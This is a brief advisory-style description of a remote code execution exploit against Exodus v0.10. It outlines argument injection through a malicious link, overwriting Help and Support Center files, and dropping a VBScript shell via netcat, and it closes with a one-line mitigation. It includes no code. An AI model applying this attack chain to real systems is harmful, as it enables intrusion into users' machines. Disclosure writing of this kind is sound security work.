Exodus v0.10 remote code execution exploit

This exploit uses the '-l' argument to overwrite a file inside Microsoft Help and Support Center folders. Firstly, the attacker runs netcat in listen mode to drop the vbscript shell. Then, the attacker uses a malicious link to execute the shell. The malicious link contains a command to start the calculator application.

Mitigation:

The user should not click on any suspicious links.
